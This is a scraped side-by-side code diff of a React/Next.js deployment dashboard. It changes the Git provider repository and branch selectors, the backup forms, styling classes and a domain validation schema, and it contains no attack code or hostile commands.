import { DatabaseZap, Dices, RefreshCw, X } from "lucide-react"; import { DatabaseZap, Dices, RefreshCw, X } from "lucide-react";
import Link from "next/link"; import Link from "next/link";
@@ -57,10 +53,7 @@ export const domain = z
.refine((val) => val === val.trim(), { .refine((val) => val === val.trim(), {
message: "Domain name cannot have leading or trailing spaces", message: "Domain name cannot have leading or trailing spaces",
}) })
.transform((val) => val.trim()) .transform((val) => val.trim()),
.refine((val) => VALID_HOSTNAME_REGEX.test(val), {
message: INVALID_HOSTNAME_MESSAGE,
}),
path: z.string().min(1).optional(), path: z.string().min(1).optional(),
internalPath: z.string().optional(), internalPath: z.string().optional(),
stripPath: z.boolean().optional(), stripPath: z.boolean().optional(),

View File

@@ -188,9 +188,6 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel> <FormLabel>Bitbucket Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -199,6 +196,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -247,7 +245,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -256,19 +254,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => (repo) => repo.name === field.value.repo,
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -288,7 +281,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={`${repo.owner.username}/${repo.name}`} value={repo.name}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -299,8 +292,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate">{repo.name}</span> <span>{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -308,8 +301,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.username === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -341,7 +333,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -356,10 +348,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -387,7 +376,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -201,9 +201,6 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<FormLabel>Gitea Account</FormLabel> <FormLabel>Gitea Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -211,6 +208,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -260,7 +258,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -270,18 +268,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo: GiteaRepository) => (repo: GiteaRepository) =>
repo.name === field.value.repo && repo.name === field.value.repo,
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -307,7 +301,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
{repositories?.map((repo: GiteaRepository) => { {repositories?.map((repo: GiteaRepository) => {
return ( return (
<CommandItem <CommandItem
value={`${repo.owner.username}/${repo.name}`} value={repo.name}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -317,10 +311,8 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate"> <span>{repo.name}</span>
{repo.name}
</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -328,9 +320,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.username ===
field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -363,7 +353,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -379,10 +369,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -413,7 +400,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -177,9 +177,6 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<FormLabel>Github Account</FormLabel> <FormLabel>Github Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -192,14 +189,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
> >
<FormControl> <FormControl>
<SelectTrigger> <SelectTrigger>
<SelectValue placeholder="Select a Github Account"> <SelectValue placeholder="Select a Github Account" />
{
githubProviders?.find(
(githubProvider) =>
githubProvider.githubId === field.value,
)?.gitProvider.name
}
</SelectValue>
</SelectTrigger> </SelectTrigger>
</FormControl> </FormControl>
<SelectContent> <SelectContent>
@@ -243,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -252,19 +242,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => (repo) => repo.name === field.value.repo,
repo.name === field.value.repo && )?.name ?? "Select repository")}
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -284,7 +269,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={`${repo.owner.login}/${repo.name}`} value={repo.name}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -294,8 +279,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate">{repo.name}</span> <span>{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.login} {repo.owner.login}
</span> </span>
@@ -303,8 +288,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.login === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -336,25 +320,22 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
{status === "pending" && fetchStatus === "fetching" {status === "pending" && fetchStatus === "fetching"
? "Loading...." ? "Loading...."
: field.value : field.value
? (branches?.find( ? branches?.find(
(branch) => branch.name === field.value, (branch) => branch.name === field.value,
)?.name ?? field.value) )?.name
: "Select branch"} : "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -382,7 +363,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -196,9 +196,6 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<FormLabel>Gitlab Account</FormLabel> <FormLabel>Gitlab Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -208,6 +205,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -256,7 +254,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -272,10 +270,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -313,10 +308,8 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate"> <span>{repo.name}</span>
{repo.name}
</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -358,7 +351,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -373,10 +366,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -404,7 +394,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -1,3 +1,4 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { import {
Ban, Ban,
CheckCircle2, CheckCircle2,
@@ -7,7 +8,6 @@ import {
Terminal, Terminal,
} from "lucide-react"; } from "lucide-react";
import { useRouter } from "next/router"; import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner"; import { toast } from "sonner";
import { ShowBuildChooseForm } from "@/components/dashboard/application/build/show"; import { ShowBuildChooseForm } from "@/components/dashboard/application/build/show";
import { ShowProviderForm } from "@/components/dashboard/application/general/generic/show"; import { ShowProviderForm } from "@/components/dashboard/application/general/generic/show";

View File

@@ -1,3 +1,4 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { import {
ExternalLink, ExternalLink,
FileText, FileText,
@@ -8,7 +9,6 @@ import {
RocketIcon, RocketIcon,
Trash2, Trash2,
} from "lucide-react"; } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner"; import { toast } from "sonner";
import { GithubIcon } from "@/components/icons/data-tools-icons"; import { GithubIcon } from "@/components/icons/data-tools-icons";
import { DateTooltip } from "@/components/shared/date-tooltip"; import { DateTooltip } from "@/components/shared/date-tooltip";

View File

@@ -531,7 +531,7 @@ export const HandleSchedules = ({ id, scheduleId, scheduleType }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >

View File

@@ -507,20 +507,11 @@ export const HandleVolumeBackups = ({
</SelectTrigger> </SelectTrigger>
</FormControl> </FormControl>
<SelectContent> <SelectContent>
{mounts && mounts.length > 0 ? ( {mounts?.map((mount) => (
mounts.map((mount) => ( <SelectItem key={mount.Name} value={mount.Name || ""}>
<SelectItem
key={mount.Name}
value={mount.Name || ""}
>
{mount.Name} {mount.Name}
</SelectItem> </SelectItem>
)) ))}
) : (
<SelectItem value="none" disabled>
No volumes found
</SelectItem>
)}
</SelectContent> </SelectContent>
</Select> </Select>
<FormDescription> <FormDescription>

View File

@@ -181,7 +181,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -263,7 +263,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >

View File

@@ -1,6 +1,6 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react"; import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useRouter } from "next/router"; import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";

View File

@@ -190,9 +190,6 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel> <FormLabel>Bitbucket Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -201,6 +198,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -249,7 +247,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -258,19 +256,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => (repo) => repo.name === field.value.repo,
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -290,7 +283,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={`${repo.owner.username}/${repo.name}`} value={repo.name}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -301,8 +294,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate">{repo.name}</span> <span>{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -310,8 +303,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.username === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -343,7 +335,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -358,10 +350,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -389,7 +378,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -188,9 +188,6 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitea Account</FormLabel> <FormLabel>Gitea Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -198,6 +195,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -246,7 +244,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -255,18 +253,13 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => (repo) => repo.name === field.value.repo,
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")} )?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -287,7 +280,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
key={repo.url} key={repo.url}
value={`${repo.owner.username}/${repo.name}`} value={repo.name}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
owner: repo.owner.username, owner: repo.owner.username,
@@ -296,8 +289,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate">{repo.name}</span> <span>{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -305,8 +298,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.username === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -339,7 +331,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -354,10 +346,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branches..." placeholder="Search branches..."
@@ -374,11 +363,9 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name) form.setValue("branch", branch.name)
} }
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate">
{branch.name} {branch.name}
</span> </span>
</span>
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -138,7 +138,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
enableSubmodules: data.enableSubmodules ?? false, enableSubmodules: data.enableSubmodules ?? false,
}); });
} }
}, [form.reset, data]); }, [form.reset, data?.composeId, form]);
const onSubmit = async (data: GithubProvider) => { const onSubmit = async (data: GithubProvider) => {
await mutateAsync({ await mutateAsync({
@@ -179,9 +179,6 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<FormLabel>Github Account</FormLabel> <FormLabel>Github Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -189,6 +186,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -236,7 +234,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -245,19 +243,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories : isLoadingRepositories
? "Loading...." ? "Loading...."
: (repositories?.find( : (repositories?.find(
(repo) => (repo) => repo.name === field.value.repo,
repo.name === field.value.repo && )?.name ?? "Select repository")}
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -277,7 +270,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CommandGroup> <CommandGroup>
{repositories?.map((repo) => ( {repositories?.map((repo) => (
<CommandItem <CommandItem
value={`${repo.owner.login}/${repo.name}`} value={repo.name}
key={repo.url} key={repo.url}
onSelect={() => { onSelect={() => {
form.setValue("repository", { form.setValue("repository", {
@@ -287,8 +280,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate">{repo.name}</span> <span>{repo.name}</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.login} {repo.owner.login}
</span> </span>
@@ -296,8 +289,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",
repo.name === field.value.repo && repo.name === field.value.repo
repo.owner.login === field.value.owner
? "opacity-100" ? "opacity-100"
: "opacity-0", : "opacity-0",
)} )}
@@ -329,25 +321,22 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
{status === "pending" && fetchStatus === "fetching" {status === "pending" && fetchStatus === "fetching"
? "Loading...." ? "Loading...."
: field.value : field.value
